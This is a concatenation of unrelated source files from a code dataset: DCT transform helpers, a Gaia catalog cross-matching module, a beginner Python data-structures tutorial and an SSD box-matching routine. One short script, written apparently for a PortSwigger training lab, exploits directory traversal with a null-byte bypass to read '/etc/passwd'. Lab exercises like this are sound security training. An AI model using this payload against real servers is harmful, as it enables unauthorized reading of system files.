@param expk1 with length N
"""
return dct_2N(dct_2N(x.transpose(dim0=-2, dim1=-1), expk0).transpose_(dim0=-2, dim1=-1), expk1)
def dct2_N(x, perm0=None, expk0=None, perm1=None, expk1=None):
""" Batch 2D Discrete Cosine Transformation without normalization to coefficients.
Compute 1D DCT twice.
@param x batch tensor, the 2D part is MxN
@param perm0 with length M
@param expk0 with length M
@param perm1 with length N
@param expk1 with length N
"""
return dct_N(dct_N(x.transpose(dim0=-2, dim1=-1), perm=perm0, expk=expk0).transpose_(dim0=-2, dim1=-1), perm=perm1, expk=expk1)
def idct2_2N(x, expk0=None, expk1=None):
""" Batch 2D Discrete Cosine Transformation without normalization to coefficients.
Compute 1D DCT twice.
@param x batch tensor, the 2D part is MxN
@param expk0 with length M
@param expk1 with length N
"""
return idct_2N(idct_2N(x.transpose(dim0=-2, dim1=-1), expk0).transpose_(dim0=-2, dim1=-1), expk1)
def idct2_N(x, expk0=None, expk1=None):
""" Batch 2D Discrete Cosine Transformation without normalization to coefficients.
Compute 1D DCT twice.
@param x batch tensor, the 2D part is MxN
@param expk0 with length M
@param expk1 with length N
"""
return idct_N(idct_N(x.transpose(dim0=-2, dim1=-1), expk0).transpose_(dim0=-2, dim1=-1), expk1)
def dst2(x, expkp1_0=None, expkp1_1=None):
""" Batch 2D Discrete Sine Transformation without normalization to coefficients.
Compute 1D DST twice.
@param x batch tensor, the 2D part is MxN
@param expkp1_0 with length M
@param expkp1_1 with length N
"""
return dst(dst(x.transpose(dim0=-2, dim1=-1), expkp1_0).transpose_(dim0=-2, dim1=-1), expkp1_1)
def idcct2(x, expk_0=None, expk_1=None):
""" Batch 2D Inverse Discrete Cosine-Cosine Transformation without normalization to coefficients.
It computes following equation, which is slightly different from standard DCT formulation.
y_{u, v} = \sum_p \sum_q x_{p, q} cos(pi/M*p*(u+0.5)) cos(pi/N*q*(v+0.5))
Compute 1D DCT twice.
@param x batch tensor, the 2D part is MxN
@param expk_0 with length M, 2*exp(-1j*pi*k/(2M))
@param expk_1 with length N, 2*exp(-1j*pi*k/(2N))
"""
return idxt(idxt(x, 0, expk_1).transpose_(dim0=-2, dim1=-1), 0, expk_0).transpose(dim0=-2, dim1=-1)
# return idxt(idxt(x.transpose(dim0=-2, dim1=-1), 0, expk_0).transpose_(dim0=-2, dim1=-1), 0, expk_1)
def idsct2(x, expk_0=None, expk_1=None):
""" Batch 2D Inverse Discrete Sine-Cosine Transformation without normalization to coefficients.
It computes following equation, which is slightly different from standard DCT formulation.
y_{u, v} = \sum_p \sum_q x_{p, q} sin(pi/M*p*(u+0.5)) cos(pi/N*q*(v+0.5))
Compute 1D DST and then 1D DCT.
@param x batch tensor, the 2D part is MxN
@param expk_0 with length M, 2*exp(-1j*pi*k/(2M))
@param expk_1 with length N, 2*exp(-1j*pi*k/(2N))
"""
return idxt(idxt(x, 0, expk_1).transpose_(dim0=-2, dim1=-1), 1, expk_0).transpose_(dim0=-2, dim1=-1)
# return idxt(idxt(x.transpose(dim0=-2, dim1=-1), 1, expk_0).transpose_(dim0=-2, dim1=-1), 0, expk_1)
def idcst2(x, expk_0=None, expk_1=None):
""" Batch 2D Inverse Discrete Cosine-Sine Transformation without normalization to coefficients.
It computes following equation, which is slightly different from standard DCT formulation.
y_{u, v} = \sum_p \sum_q x_{p, q} cos(pi/M*p*(u+0.5)) sin(pi/N*q*(v+0.5))
Compute 1D DCT and then 1D DST.
@param x batch tensor, the 2D part is MxN
@param expk_0 with length M, 2*exp(-1j*pi*k/(2M))
@param expk_1 with length N, 2*exp(-1j*pi*k/(2N))
"""
return idxt(idxt(x, 1, expk_1).transpose_(dim0=-2, dim1=-1), 0, expk_0).transpose_(dim0=-2, dim1=-1)
# return idxt(idxt(x.transpose(dim0=-2, dim1=-1), 0, expk_0).transpose_(dim0=-2, dim1=-1), 1, expk_1)
def idxst_idct(x, expk_0=None, expk_1=None):
'''
Batch 2D Inverse Discrete Sine-Cosine Transformation without normalization to coefficients.
Compute idxst(idct(x))
@param x batch tensor, the 2D part is MxN
@param expk_0 with length M, 2*exp(-1j*pi*k/(2M))
@param expk_1 with length N, 2*exp(-1j*pi*k/(2N))
'''
return idxt(idct_N(x, expk_1).transpose_(dim0=-2, dim1=-1), 1, expk_0).transpose_(dim0=-2, dim1=-1)
def idct_idxst(x, expk_0=None, expk_1=None):
'''
Batch 2D Inverse Discrete Cosine-Sine Transformation without normalization to coefficients.
Compute idct(idxst(x)).
@param x batch tensor, the 2D part is MxN
@param expk_0 with length M, 2*exp(-1j*pi*k/(2M))
@param expk_1 with length N, 2*exp(-1j*pi*k/(2N))
'''
return idct_N(idxt(x, 1, expk_1).transpose_(dim0=-2, dim1=-1), expk_0).transpose_(dim0=-2, dim1=-1)
| 35.798611 | 131 | 0.643453 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9,121 | 0.589783 |
e40074d263a071da246090065d0ad8ae39b4da28 | 20,118 | py | Python | gaia_tools/xmatch/__init__.py | henrysky/gaia_tools | c151a1d8f6896d8ef5a379291baa8a1f027bd53b | [
"MIT"
] | 44 | 2016-09-13T06:37:46.000Z | 2022-02-03T20:59:56.000Z | gaia_tools/xmatch/__init__.py | henrysky/gaia_tools | c151a1d8f6896d8ef5a379291baa8a1f027bd53b | [
"MIT"
] | 24 | 2016-10-18T23:26:15.000Z | 2020-12-08T18:24:27.000Z | gaia_tools/xmatch/__init__.py | henrysky/gaia_tools | c151a1d8f6896d8ef5a379291baa8a1f027bd53b | [
"MIT"
] | 18 | 2016-10-18T22:26:45.000Z | 2021-08-20T09:07:31.000Z | # Tools for cross-matching catalogs
import csv
import sys
import os
import os.path
import platform
import shutil
import subprocess
import tempfile
import warnings
WIN32= platform.system() == 'Windows'
import numpy
import astropy.coordinates as acoords
from astropy.table import Table
from astropy import units as u
from ..load.download import _ERASESTR
def xmatch(cat1,cat2,maxdist=2,
colRA1='RA',colDec1='DEC',epoch1=None,
colRA2='RA',colDec2='DEC',epoch2=None,
colpmRA2='pmra',colpmDec2='pmdec',
swap=False,
col_field=None):
"""
NAME:
xmatch
PURPOSE:
cross-match two catalogs (incl. proper motion in cat2 if epochs are different)
INPUT:
cat1 - First catalog
cat2 - Second catalog
maxdist= (2) maximum distance in arcsec
colRA1= ('RA') name of the tag in cat1 with the right ascension in degree in cat1 (assumed to be ICRS)
colDec1= ('DEC') name of the tag in cat1 with the declination in degree in cat1 (assumed to be ICRS)
epoch1= (2000.) epoch of the coordinates in cat1
colRA2= ('RA') name of the tag in cat2 with the right ascension in degree in cat2 (assumed to be ICRS)
colDec2= ('DEC') name of the tag in cat2 with the declination in degree in cat2 (assumed to be ICRS)
epoch2= (2000.) epoch of the coordinates in cat2
colpmRA2= ('pmra') name of the tag in cat2 with the proper motion in right ascension in degree in cat2 (assumed to be ICRS; includes cos(Dec)) [only used when epochs are different]
colpmDec2= ('pmdec') name of the tag in cat2 with the proper motion in declination in degree in cat2 (assumed to be ICRS) [only used when epochs are different]
swap= (False) if False, find closest matches in cat2 for each cat1 source, if False do the opposite (important when one of the catalogs has duplicates)
col_field= (None) if None, simply cross-match on RA and Dec; if a string, then cross-match on RA and Dec with additional matching in the data tag specified by the string
OUTPUT:
(index into cat1 of matching objects,
index into cat2 of matching objects,
angular separation between matching objects)
HISTORY:
2016-09-12 - Written - Bovy (UofT)
2016-09-21 - Account for Gaia epoch 2015 - Bovy (UofT)
2019-07-07 - add additional catalog field matching - Leung (UofT)
"""
if epoch1 is None:
if 'ref_epoch' in cat1.dtype.fields:
epoch1= cat1['ref_epoch']
else:
epoch1= 2000.
if epoch2 is None:
if 'ref_epoch' in cat2.dtype.fields:
epoch2= cat2['ref_epoch']
else:
epoch2= 2000.
_check_epoch(cat1,epoch1)
_check_epoch(cat2,epoch2)
depoch= epoch2-epoch1
if numpy.any(depoch != 0.):
# Use proper motion to get both catalogs at the same time
dra=cat2[colpmRA2]/numpy.cos(cat2[colDec2]/180.*numpy.pi)\
/3600000.*depoch
ddec= cat2[colpmDec2]/3600000.*depoch
# Don't shift objects with non-existing proper motion
dra[numpy.isnan(cat2[colpmRA2])]= 0.
ddec[numpy.isnan(cat2[colpmDec2])]= 0.
else:
dra= 0.
ddec= 0.
mc1= acoords.SkyCoord(cat1[colRA1],cat1[colDec1],
unit=(u.degree, u.degree),frame='icrs')
mc2= acoords.SkyCoord(cat2[colRA2]-dra,cat2[colDec2]-ddec,
unit=(u.degree, u.degree),frame='icrs')
if col_field is not None:
try: # check if the field actually exists in both cat1/cat2
cat1[col_field]
cat2[col_field]
except KeyError: # python 2/3 format string
raise KeyError("'%s' does not exist in both catalog" % col_field)
uniques = numpy.unique(cat1[col_field])
if swap: # times neg one to indicate those indices untouch will be noticed at the end and filtered out
d2d = numpy.ones(len(cat2)) * -1.
idx = numpy.zeros(len(cat2), dtype=int)
else:
d2d = numpy.ones(len(cat1)) * -1.
idx = numpy.zeros(len(cat1), dtype=int)
for unique in uniques: # loop over the class
idx_1 = numpy.arange(cat1[colRA1].shape[0])[cat1[col_field] == unique]
idx_2 = numpy.arange(cat2[colRA2].shape[0])[cat2[col_field] == unique]
if idx_1.shape[0] == 0 or idx_2.shape[0] == 0: # the case where a class only exists in one but not the other
continue
if swap:
temp_idx, temp_d2d, d3d = mc2[idx_2].match_to_catalog_sky(mc1[idx_1])
m1 = numpy.arange(len(cat2))
idx[cat2[col_field] == unique] = idx_1[temp_idx]
d2d[cat2[col_field] == unique] = temp_d2d
else:
temp_idx, temp_d2d, d3d = mc1[idx_1].match_to_catalog_sky(mc2[idx_2])
m1 = numpy.arange(len(cat1))
idx[cat1[col_field] == unique] = idx_2[temp_idx]
d2d[cat1[col_field] == unique] = temp_d2d
d2d = d2d * temp_d2d.unit # make sure finally we have an unit on d2d array s.t. "<" operation can complete
else:
if swap:
idx,d2d,d3d = mc2.match_to_catalog_sky(mc1)
m1= numpy.arange(len(cat2))
else:
idx,d2d,d3d = mc1.match_to_catalog_sky(mc2)
m1= numpy.arange(len(cat1))
# to make sure filtering out all neg ones which are untouched
mindx= ((d2d < maxdist*u.arcsec) & (0.*u.arcsec <= d2d))
m1= m1[mindx]
m2= idx[mindx]
if swap:
return (m2,m1,d2d[mindx])
else:
return (m1,m2,d2d[mindx])
def cds(cat,xcat='vizier:I/350/gaiaedr3',maxdist=2,colRA='RA',colDec='DEC',
selection='best',epoch=None,colpmRA='pmra',colpmDec='pmdec',
savefilename=None,gaia_all_columns=False):
"""
NAME:
cds
PURPOSE:
Cross-match against a catalog in the CDS archive using the CDS cross-matching service (http://cdsxmatch.u-strasbg.fr/xmatch); uses the curl interface
INPUT:
cat - a catalog to cross match, requires 'RA' and 'DEC' keywords (see below)
xcat= ('vizier:I/350/gaiaedr3') name of the catalog to cross-match against, in a format understood by the CDS cross-matching service (see http://cdsxmatch.u-strasbg.fr/xmatch/doc/available-tables.html; things like 'vizier:Tycho2' or 'vizier:I/345/gaia2')
maxdist= (2) maximum distance in arcsec
colRA= ('RA') name of the tag in cat with the right ascension
colDec= ('DEC') name of the tag in cat with the declination
selection= ('best') select either all matches or the best match according to CDS (see 'selection' at http://cdsxmatch.u-strasbg.fr/xmatch/doc/API-calls.html)
epoch= (2000.) epoch of the coordinates in cat
colpmRA= ('pmra') name of the tag in cat with the proper motion in right ascension in degree in cat (assumed to be ICRS; includes cos(Dec)) [only used when epoch != 2000.]
colpmDec= ('pmdec') name of the tag in cat with the proper motion in declination in degree in cat (assumed to be ICRS) [only used when epoch != 2000.]
gaia_all_columns= (False) set to True if you are matching against Gaia DR2 and want *all* columns returned; this runs a query at the Gaia Archive, which may or may not work...
savefilename= (None) if set, save the output from CDS to this path; can match back using cds_matchback
OUTPUT:
(xcat entries for those that match,
indices into cat of matching sources: index[0] is cat index of xcat[0])
HISTORY:
2016-09-12 - Written based on RC catalog code - Bovy (UofT)
2016-09-21 - Account for Gaia epoch 2015 - Bovy (UofT)
2018-05-08 - Added gaia_all_columns - Bovy (UofT)
"""
if epoch is None:
if 'ref_epoch' in cat.dtype.fields:
epoch= cat['ref_epoch']
else:
epoch= 2000.
_check_epoch(cat,epoch)
depoch= epoch-2000.
if numpy.any(depoch != 0.):
# Use proper motion to get both catalogs at the same time
dra=cat[colpmRA]/numpy.cos(cat[colDec]/180.*numpy.pi)\
/3600000.*depoch
ddec= cat[colpmDec]/3600000.*depoch
# Don't shift objects with non-existing proper motion
dra[numpy.isnan(cat[colpmRA])]= 0.
ddec[numpy.isnan(cat[colpmDec])]= 0.
else:
dra= numpy.zeros(len(cat))
ddec= numpy.zeros(len(cat))
if selection != 'all': selection= 'best'
if selection == 'all':
raise NotImplementedError("selection='all' CDS cross-match not currently implemented")
# Write positions
posfilename= tempfile.mktemp('.csv',dir=os.getcwd())
resultfilename= tempfile.mktemp('.csv',dir=os.getcwd())
with open(posfilename,'w') as csvfile:
wr= csv.writer(csvfile,delimiter=',',quoting=csv.QUOTE_MINIMAL)
wr.writerow(['RA','DEC'])
for ii in range(len(cat)):
wr.writerow([(cat[ii][colRA]-dra[ii]+360.) % 360.,
cat[ii][colDec]]-ddec[ii])
_cds_match_batched(resultfilename,posfilename,maxdist,selection,xcat)
# Directly match on input RA
ma= cds_load(resultfilename)
if gaia_all_columns:
from astroquery.gaia import Gaia
# Write another temporary file with the XML output of the cross-match
tab= Table(numpy.array([ma['source_id'],ma['RA'],ma['DEC']]).T,
names=('source_id','RA','DEC'),
dtype=('int64','float64','float64'))
xmlfilename= tempfile.mktemp('.xml',dir=os.getcwd())
tab.write(xmlfilename,format='votable')
#get the data release....
table_identifier = xcat.split('/')[-1]
if table_identifier == 'gaia2':
table_identifier = 'gaiadr2'
try:
job= Gaia.launch_job_async(
"""select g.*, m.RA as mRA, m.DEC as mDEC
from %s.gaia_source as g
inner join tap_upload.my_table as m on m.source_id = g.source_id""" % table_identifier,
upload_resource=xmlfilename,
upload_table_name="my_table")
ma= job.get_results()
except:
print("gaia_tools.xmath.cds failed to retrieve all gaia columns, returning just the default returned by the CDS xMatch instead...")
else:
ma.rename_column('mra','RA')
ma.rename_column('mdec','DEC')
finally:
os.remove(xmlfilename)
# Remove temporary files
os.remove(posfilename)
if savefilename is None:
os.remove(resultfilename)
else:
shutil.move(resultfilename,savefilename)
# Match back to the original catalog
mai= cds_matchback(cat,ma,colRA=colRA,colDec=colDec,epoch=epoch,
colpmRA=colpmRA,colpmDec=colpmDec)
return (ma,mai)
def _cds_match_batched(resultfilename,posfilename,maxdist,selection,xcat,
nruns_necessary=1):
"""CDS xMatch (sometimes?) fails for large matches, because of a time-out,
so we recursively split until the batches are small enough to not fail"""
# Figure out which of the hierarchy we are running
try:
runs= ''.join([str(int(r)-1)
for r in posfilename.split('csv.')[-1].split('.')])
except ValueError:
runs= ''
nruns= 2**len(runs)
if nruns >= nruns_necessary:
# Only run this level's match if we don't already know that we should
# be using smaller batches
_cds_basic_match(resultfilename,posfilename,maxdist,selection,xcat)
try:
ma= cds_load(resultfilename)
except ValueError: # Assume this is the time-out failure
pass
else:
return nruns
# xMatch failed because of time-out, split
posfilename1= posfilename+'.1'
posfilename2= posfilename+'.2'
resultfilename1= resultfilename+'.1'
resultfilename2= resultfilename+'.2'
# Figure out which of the hierarchy we are running
runs= ''.join([str(int(r)-1)
for r in posfilename1.split('csv.')[-1].split('.')])
nruns= 2**len(runs)
thisrun1= 1+int(runs,2)
thisrun2= 1+int(''.join([str(int(r)-1)
for r in posfilename2.split('csv.')[-1].split('.')]),2)
# Count the number of objects
with open(posfilename,'r') as posfile:
num_lines= sum(1 for line in posfile)
# Write the header line
with open(posfilename1,'w') as posfile1:
with open(posfilename,'r') as posfile:
posfile1.write(posfile.readline())
with open(posfilename2,'w') as posfile2:
with open(posfilename,'r') as posfile:
posfile2.write(posfile.readline())
# Cut in half
cnt= 0
with open(posfilename,'r') as posfile:
with open(posfilename1,'a') as posfile1:
with open(posfilename2,'a') as posfile2:
for line in posfile:
if cnt == 0:
cnt+= 1
continue
if cnt < num_lines//2:
posfile1.write(line)
cnt+= 1 # Can stop counting once this if is done
else:
posfile2.write(line)
# Run each
sys.stdout.write('\r'+"Working on CDS xMatch batch {} / {} ...\r"\
.format(thisrun1,nruns))
sys.stdout.flush()
nruns_necessary= _cds_match_batched(resultfilename1,posfilename1,
maxdist,selection,xcat,
nruns_necessary=nruns_necessary)
sys.stdout.write('\r'+"Working on CDS xMatch batch {} / {} ...\r"\
.format(thisrun2,nruns))
sys.stdout.flush()
nruns_necessary= _cds_match_batched(resultfilename2,posfilename2,
maxdist,selection,xcat,
nruns_necessary=nruns_necessary)
sys.stdout.write('\r'+_ERASESTR+'\r')
sys.stdout.flush()
# Combine results
with open(resultfilename,'w') as resultfile:
with open(resultfilename1,'r') as resultfile1:
for line in resultfile1:
resultfile.write(line)
with open(resultfilename2,'r') as resultfile2:
for line in resultfile2:
if line[0] == 'a': continue
resultfile.write(line)
# Remove intermediate files
os.remove(posfilename1)
os.remove(posfilename2)
os.remove(resultfilename1)
os.remove(resultfilename2)
return nruns_necessary
def _cds_basic_match(resultfilename,posfilename,maxdist,selection,xcat):
# Send to CDS for matching
result= open(resultfilename,'w')
try:
subprocess.check_call(['curl',
'-X','POST',
'-F','request=xmatch',
'-F','distMaxArcsec=%i' % maxdist,
'-F','selection=%s' % selection,
'-F','RESPONSEFORMAT=csv',
'-F','cat1=@%s' % os.path.basename(posfilename),
'-F','colRA1=RA',
'-F','colDec1=DEC',
'-F','cat2=%s' % xcat,
'http://cdsxmatch.u-strasbg.fr/xmatch/api/v1/sync'],
stdout=result)
except subprocess.CalledProcessError:
os.remove(posfilename)
if os.path.exists(resultfilename):
result.close()
os.remove(resultfilename)
result.close()
return None
def cds_load(filename):
if WIN32:
# windows do not have float128, but source_id is double
# get around this by squeezing precision from int64 on source_id as source_id is always integer anyway
# first read everything as fp64 and then convert source_id to int64 will keep its precision
data = numpy.genfromtxt(filename, delimiter=',', skip_header=0,
filling_values=-9999.99, names=True, max_rows=1,
dtype='float64') # only read the first row max to reduce workload to just get the column name
to_list = list(data.dtype.names)
# construct a list where everything is fp64 except 'source_id' being int64
dtype_list = [('{}'.format(i), numpy.float64) for i in to_list]
dtype_list[dtype_list.index(('source_id', numpy.float64))] = ('source_id', numpy.uint64)
return numpy.genfromtxt(filename, delimiter=',', skip_header=0,
filling_values=-9999.99, names=True,
dtype=dtype_list)
else:
return numpy.genfromtxt(filename, delimiter=',', skip_header=0,
filling_values=-9999.99, names=True,
dtype='float128')
def cds_matchback(cat,xcat,colRA='RA',colDec='DEC',selection='best',
epoch=None,colpmRA='pmra',colpmDec='pmdec',):
"""
NAME:
cds_matchback
PURPOSE:
Match a matched catalog from xmatch.cds back to the original catalog
INPUT
cat - original catalog
xcat - matched catalog returned by xmatch.cds
colRA= ('RA') name of the tag in cat with the right ascension
colDec= ('DEC') name of the tag in cat with the declination
selection= ('best') select either all matches or the best match according to CDS (see 'selection' at http://cdsxmatch.u-strasbg.fr/xmatch/doc/API-calls.html)
epoch= (2000.) epoch of the coordinates in cat
colpmRA= ('pmra') name of the tag in cat with the proper motion in right ascension in degree in cat (assumed to be ICRS; includes cos(Dec)) [only used when epoch != 2000.]
colpmDec= ('pmdec') name of the tag in cat with the proper motion in declination in degree in cat (assumed to be ICRS) [only used when epoch != 2000.]
OUTPUT:
Array indices into cat of xcat entries: index[0] is cat index of xcat[0]
HISTORY:
2016-09-12 - Written - Bovy (UofT)
2018-05-04 - Account for non-zero epoch difference - Bovy (UofT)
"""
if selection != 'all': selection= 'best'
if selection == 'all':
raise NotImplementedError("selection='all' CDS cross-match not currently implemented")
if epoch is None:
if 'ref_epoch' in cat.dtype.fields:
epoch= cat['ref_epoch']
else:
epoch= 2000.
_check_epoch(cat,epoch)
depoch= epoch-2000.
if numpy.any(depoch != 0.):
# Use proper motion to get both catalogs at the same time
dra=cat[colpmRA]/numpy.cos(cat[colDec]/180.*numpy.pi)\
/3600000.*depoch
ddec= cat[colpmDec]/3600000.*depoch
# Don't shift objects with non-existing proper motion
dra[numpy.isnan(cat[colpmRA])]= 0.
ddec[numpy.isnan(cat[colpmDec])]= 0.
else:
dra= numpy.zeros(len(cat))
ddec= numpy.zeros(len(cat))
# xmatch to v. small diff., because match is against *original* coords,
# not matched coords in CDS
mc1= acoords.SkyCoord(cat[colRA]-dra,cat[colDec]-ddec,
unit=(u.degree, u.degree),frame='icrs')
mc2= acoords.SkyCoord(xcat['RA'],xcat['DEC'],
unit=(u.degree, u.degree),frame='icrs')
idx,d2d,d3d = mc2.match_to_catalog_sky(mc1)
mindx= d2d < 1e-5*u.arcsec
return idx[mindx]
def _check_epoch(cat,epoch):
warn_about_epoch= False
if 'ref_epoch' in cat.dtype.fields:
if 'designation' not in cat.dtype.fields: # Assume this is DR1
if numpy.any(numpy.fabs(epoch-2015.) > 0.01):
warn_about_epoch= True
elif 'Gaia DR2' in cat['designation'][0].decode('utf-8'):
if numpy.any(numpy.fabs(epoch-2015.5) > 0.01):
warn_about_epoch= True
if warn_about_epoch:
warnings.warn("You appear to be using a Gaia catalog, but are not setting the epoch to 2015. (DR1) or 2015.5 (DR2), which may lead to incorrect matches")
return None
| 46.786047 | 261 | 0.607814 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8,467 | 0.420867 |
e40c283a7830ae526fea47bfe3f1719fdb809be3 | 358 | py | Python | directory-traversal/validate-file-extension-null-byte-bypass.py | brandonaltermatt/penetration-testing-scripts | 433b5d000a5573e60b9d8e49932cedce74937ebc | [
"MIT"
] | null | null | null | directory-traversal/validate-file-extension-null-byte-bypass.py | brandonaltermatt/penetration-testing-scripts | 433b5d000a5573e60b9d8e49932cedce74937ebc | [
"MIT"
] | null | null | null | directory-traversal/validate-file-extension-null-byte-bypass.py | brandonaltermatt/penetration-testing-scripts | 433b5d000a5573e60b9d8e49932cedce74937ebc | [
"MIT"
] | null | null | null | """
https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass
"""
import sys
import requests
site = sys.argv[1]
if 'https://' in site:
site = site.rstrip('/').lstrip('https://')
url = f'''https://{site}/image?filename=../../../etc/passwd%00.png'''
s = requests.Session()
resp = s.get(url)
print(resp.text) | 21.058824 | 101 | 0.664804 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 195 | 0.544693 |
7c0efca532f7042e0db58c5e7fb4f25f0274261b | 3,437 | py | Python | Assignment Day 2 .py | ShubhamKahlon57/Letsupgrade-python-Batch-7 | 7989c2d2f17e58dd4ee8f278c37d2c1d18e5e3af | [
"Apache-2.0"
] | null | null | null | Assignment Day 2 .py | ShubhamKahlon57/Letsupgrade-python-Batch-7 | 7989c2d2f17e58dd4ee8f278c37d2c1d18e5e3af | [
"Apache-2.0"
] | null | null | null | Assignment Day 2 .py | ShubhamKahlon57/Letsupgrade-python-Batch-7 | 7989c2d2f17e58dd4ee8f278c37d2c1d18e5e3af | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# coding: utf-8
# In[ ]:
#List and function
# In[6]:
# empty list
my_list = []
# list of integers
my_list = [1, 2, 3]
# list with mixed data types
my_list = [1, "Hello", 3.4]
# In[7]:
# nested list
my_list = ["mouse", [8, 4, 6], ['a']]
# In[11]:
# List indexing
my_list = ['p', 'r', 'o', 'b', 'e']
# Output: p
print(my_list[0])
# Output: o
print(my_list[2])
# Output: e
print(my_list[4])
# Nested List
n_list = ["Happy", [2, 0, 1, 5]]
# Nested indexing
print(n_list[0][1])
print(n_list[1][3])
# Error! Only integer can be used for indexing
print(my_list[4])
# In[9]:
# Appending and Extending lists in Python
odd = [1, 3, 5]
odd.append(7)
print(odd)
odd.extend([9, 11, 13])
print(odd)
# In[13]:
# Deleting list items
my_list = ['p', 'r', 'o', 'b', 'l', 'e', 'm']
# delete one item
del my_list[2]
print(my_list)
# delete multiple items
del my_list[1:5]
print(my_list)
# delete entire list
del my_list
# In[14]:
# Appending and Extending lists in Python
odd = [1, 3, 5]
odd.append(7)
print(odd)
odd.extend([9, 11, 13])
print(odd)
# In[15]:
#Dictionary and function
# In[18]:
y_dict = {}
# dictionary with integer keys
my_dict = {1: 'apple', 2: 'ball'}
# dictionary with mixed keys
my_dict = {'name': 'John', 1: [2, 4, 3]}
# using dict()
my_dict = dict({1:'apple', 2:'ball'})
# from sequence having each item as a pair
my_dict = dict([(1,'apple'), (2,'ball')])
# In[20]:
# get vs [] for retrieving elements
my_dict = {'name': 'Jack', 'age': 26}
# Output: Jack
print(my_dict['name'])
# Output: 26
print(my_dict.get('age'))
# In[21]:
# Changing and adding Dictionary Elements
my_dict = {'name': 'Jack', 'age': 26}
# update value
my_dict['age'] = 27
#Output: {'age': 27, 'name': 'Jack'}
print(my_dict)
# add item
my_dict['address'] = 'Downtown'
# Output: {'address': 'Downtown', 'age': 27, 'name': 'Jack'}
print(my_dict)
# In[22]:
#Sets and its function
# In[23]:
my_set = {1, 2, 3}
print(my_set)
# In[24]:
my_set = {1.0, "Hello", (1, 2, 3)}
print(my_set)
# In[25]:
# set cannot have duplicates
my_set = {1, 2, 3, 4, 3, 2}
print(my_set)
# In[26]:
#Tuple and its method
# In[27]:
# Tuple having integers
my_tuple = (1, 2, 3)
print(my_tuple)
# In[28]:
my_tuple = ("hello")
print(type(my_tuple))
# In[30]:
# Accessing tuple elements using indexing
my_tuple = ('p','e','r','m','i','t')
print(my_tuple[0])
print(my_tuple[5])
# In[31]:
print(my_tuple[-1])
# In[32]:
print(my_tuple[-6])
# In[36]:
# Changing tuple values
my_tuple = (4, 2, 3, [6, 5])
# TypeError: 'tuple' object does not support item assignment
# my_tuple[1] = 9
# However, item of mutable element can be changed
my_tuple[3][0] = 9 # Output: (4, 2, 3, [9, 5])
print(my_tuple)
# Tuples can be reassigned
my_tuple = ('p', 'r', 'o', 'g', 'r', 'a', 'm', 'i', 'z')
# Output: ('p', 'r', 'o', 'g', 'r', 'a', 'm', 'i', 'z')
print(my_tuple)
# In[37]:
#String and its function
# In[38]:
# Python string examples - all assignments are identical.
String_var = 'Python'
String_var = "Python"
String_var = """Python"""
# with Triple quotes Strings can extend to multiple lines
String_var = """ This document will help you to
explore all the concepts
of Python Strings!!! """
# Replace "document" with "tutorial" and store in another variable
substr_var = String_var.replace("document", "tutorial")
print (substr_var)
# In[ ]:
| 12.059649 | 66 | 0.607507 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,961 | 0.570556 |
7c1199fad1c1f92e7be3b25334e3b5e42a47fbe5 | 6,633 | py | Python | dl/models/ssd/modules/utils.py | jjjkkkjjj/pytorch.dl | d82aa1191c14f328c62de85e391ac6fa1b4c7ee3 | [
"MIT"
] | 2 | 2021-02-06T22:40:13.000Z | 2021-03-26T09:15:34.000Z | dl/models/ssd/modules/utils.py | jjjkkkjjj/pytorch.dl | d82aa1191c14f328c62de85e391ac6fa1b4c7ee3 | [
"MIT"
] | 8 | 2020-07-11T07:10:51.000Z | 2022-03-12T00:39:03.000Z | dl/models/ssd/modules/utils.py | jjjkkkjjj/pytorch.dl | d82aa1191c14f328c62de85e391ac6fa1b4c7ee3 | [
"MIT"
] | 2 | 2021-03-26T09:19:42.000Z | 2021-07-27T02:38:09.000Z | import torch
from ....data.utils.boxes import centroids2corners, iou
def matching_strategy(targets, dboxes, **kwargs):
"""
:param targets: Tensor, shape is (batch*object num(batch), 1+4+class_labels)
:param dboxes: shape is (default boxes num, 4)
IMPORTANT: Note that means (cx, cy, w, h)
:param kwargs:
threshold: (Optional) float, threshold for returned indicator
batch_num: (Required) int, batch size
:return:
pos_indicator: Bool Tensor, shape = (batch, default box num). this represents whether each default box is object or background.
matched_targets: Tensor, shape = (batch, default box num, 4+class_num) including background
"""
threshold = kwargs.pop('threshold', 0.5)
batch_num = kwargs.pop('batch_num')
device = dboxes.device
dboxes_num = dboxes.shape[0]
# minus 'box number per image' and 'localization=(cx, cy, w, h)'
class_num = targets[0].shape[1] - 4
# convert centered coordinated to minmax coordinates
dboxes_mm = centroids2corners(dboxes)
# create returned empty Tensor
pos_indicator, matched_targets = torch.empty((batch_num, dboxes_num), device=device, dtype=torch.bool), torch.empty((batch_num, dboxes_num, 4 + class_num), device=device)
# matching for each batch
index = 0
for b, target in enumerate(targets):
targets_loc, targets_conf = target[:, :4], target[:, 4:]
# overlaps' shape = (object num, default box num)
overlaps = iou(centroids2corners(targets_loc), dboxes_mm.clone())
"""
best_overlap_per_object, best_dbox_ind_per_object = overlaps.max(dim=1)
best_overlap_per_dbox, best_object_ind_per_dbox = overlaps.max(dim=0)
for object_ind, dbox_ind in enumerate(best_dbox_ind_per_object):
best_object_ind_per_dbox[dbox_ind] = object_ind
best_overlap_per_dbox.index_fill_(0, best_dbox_ind_per_object, 999)
pos_ind = best_overlap_per_dbox > threshold
pos_indicator[b] = pos_ind
gt_loc[b], gt_conf[b] = targets[best_object_ind_per_dbox], targets_conf[best_object_ind_per_dbox]
neg_ind = torch.logical_not(pos_ind)
gt_conf[b, neg_ind] = 0
gt_conf[b, neg_ind, -1] = 1
"""
# get maximum overlap value for each default box
# shape = (batch num, dboxes num)
overlaps_per_dbox, object_indices = overlaps.max(dim=0)
#object_indices = object_indices.long() # for fancy indexing
# get maximum overlap values for each object
# shape = (batch num, object num)
overlaps_per_object, dbox_indices = overlaps.max(dim=1)
for obj_ind, dbox_ind in enumerate(dbox_indices):
object_indices[dbox_ind] = obj_ind
overlaps_per_dbox.index_fill_(0, dbox_indices, threshold + 1)# ensure N!=0
pos_ind = overlaps_per_dbox > threshold
# assign targets
matched_targets[b, :, :4], matched_targets[b, :, 4:] = targets_loc[object_indices], targets_conf[object_indices]
pos_indicator[b] = pos_ind
# set background flag
